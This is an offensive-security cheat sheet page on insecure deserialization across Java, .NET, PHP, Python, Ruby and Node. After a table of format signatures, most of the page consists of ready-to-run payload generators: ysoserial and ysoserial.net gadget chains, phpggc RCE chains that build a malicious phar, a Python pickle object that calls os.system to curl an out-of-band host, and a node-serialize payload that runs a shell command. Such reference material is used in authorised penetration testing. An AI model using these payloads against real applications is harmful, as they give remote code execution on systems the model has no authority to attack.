caon.io

Deserialization

Spot the format first. Every language has a signature you can grep for in cookies, hidden fields and API bodies.

rO0AB...          Java, base64
ac ed 00 05       Java, raw hex
H4sIA...          gzip: decode, then check again
/wEP...           .NET ViewState
O:8:"stdClass"    PHP serialize()
a:2:{i:0;         PHP array
gASV / gAJ9        Python pickle, base64
BAh7             Ruby Marshal
{"@type":"..."}   Java JSON (fastjson / Jackson polymorphic)
!!javax.script    SnakeYAML

Java

# https://github.com/frohoff/ysoserial
java -jar ysoserial.jar CommonsCollections6 'curl https://oob.tld' | base64 -w0

# find the gadget chain that matches the classpath
# https://github.com/wh1t3p1g/ysomap

Burp: Java Deserialization Scanner. Use DNS/OOB detection first, it identifies the usable chain without shelling the box.

Blind? URLDNS is the safe probe: it only triggers a DNS lookup, no code execution.

java -jar ysoserial.jar URLDNS "http://$(openssl rand -hex 4).oob.tld" | base64 -w0

ASP

# https://github.com/pwntester/ysoserial.net
ysoserial.exe -p ViewState -g TypeConfuseDelegate \
  -c "ping oob.tld" --generator=<generator> --validationkey=<key> --validationalg=SHA1

Leaked machineKey from a web.config disclosure turns ViewState straight into RCE. Check Blacklist3r for known default keys.

PHP

O:4:"User":2:{s:4:"name";s:5:"admin";s:4:"role";s:5:"admin"}
  • Look for unserialize() on cookies, __wakeup, __destruct, __toString
  • phar://: deserialization without unserialize(). Any file operation on a phar:// path triggers it: file_exists, md5_file, getimagesize.
# https://github.com/ambionics/phpggc
phpggc Monolog/RCE1 system id -b
phpggc Laravel/RCE9 system id -p phar -o evil.phar

Python pickle

import pickle, base64, os
class E:
    def __reduce__(self): return (os.system, ('curl https://oob.tld',))
print(base64.b64encode(pickle.dumps(E())).decode())

Anything that unpickles user input is RCE. Also check PyYAML yaml.load() without SafeLoader, and jsonpickle.

Ruby

BAh7    ← Marshal.load on a cookie

Rails secret key leak → signed cookie forge → Marshal gadget → RCE. Check for secret_key_base in exposed .git, credentials.yml.enc, or a stack trace.

Node

_$$ND_FUNC$$_function(){require('child_process').exec('id')}()

node-serialize, funcster, serialize-to-js. Rarer, but trivial when present.

Tools

URL Description
https://github.com/frohoff/ysoserial Java
https://github.com/pwntester/ysoserial.net .NET
https://github.com/ambionics/phpggc PHP
https://github.com/NickstaDB/SerializationDumper Read Java streams
https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet Reference

Articles

↑↓ navigate↵ openesc close